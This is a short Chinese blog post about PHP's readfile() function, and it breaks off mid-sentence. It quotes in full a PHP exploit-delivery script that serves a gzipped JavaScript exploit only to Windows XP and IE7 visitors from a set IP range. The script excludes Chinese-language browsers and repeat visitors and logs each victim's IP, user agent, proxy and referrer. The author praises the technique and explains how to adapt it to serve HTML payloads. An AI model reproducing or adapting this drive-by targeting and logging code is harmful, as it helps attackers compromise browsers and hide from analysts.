我以前没有用过这个函数,当我看到一段代码后,感觉此函数在某些方面发挥的作用还是很大滴!
先看一段网上公开的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | <? function knowos($useragent){ if(!stristr(strtolower($useragent),"windows")) { exit(); //if not windows } if(!stristr(strtolower($useragent),"nt 5.1")) { exit(); //if not windows xp } if(!stristr(strtolower($useragent),"msie 7.0")) { exit(); //if not ie7 } return 0; } function disablchs(){ if(stristr(strtolower($_SERVER['HTTP_ACCEPT_CHARSET']),"gb2312")) { exit(); } if(stristr(strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']),"zh-cn")) { exit(); } return 0; } function logger(){ $fp = fopen('asdz1asd.txt','a+'); if(!$fp) { return -1; } @fputs($fp,'IP:'.$_SERVER['REMOTE_ADDR'].'\r\n'); @fputs($fp,'Useragent:'.$_SERVER['HTTP_USER_AGENT'].'\r\n'); @fputs($fp,'Proxy:'.$_SERVER['HTTP_VIA'].'\r\n'); @fputs($fp,'RealIP:'.$_SERVER['HTTP_X_FORWARDED_FOR'].'\r\n'); @fputs($fp,'Ref:'.$_SERVER['HTTP_REFERER'].'\r\n'); @fputs($fp,'------------------------\r\n'); @fclose($fp); return 0; } function CookieContorl(){ if(isset($_COOKIE['ASPNETCOOKIE'])) { exit(); } $value = "aaaaaaaaa"; setcookie("ASPNETCOOKIE", $value, time()+60*60*24*7); } function LimitIprange(){ $iprange = '222.111.'; if(!stristr($_SERVER['REMOTE_ADDR'],$iprange)) { exit(); } return 0; } function sendexploit(){ header('Content-type: text/javascript'); header('Content-Encoding: gzip'); readfile('assdaxzcxz.js.gz'); } knowos($_SERVER['HTTP_USER_AGENT']); LimitIprange(); disablchs(); CookieContorl(); sendexploit(); logger(); ?> |
大家注意代码中sendexploit()函数,使用了readfile()函数,看来这个函数也就该明白此函数在某些方面的威力了.
demo代码中调用的是js代码,当时也可以调用html文件.
如果调用html文件的话,需要相应的修改下header()就可以了.
比如: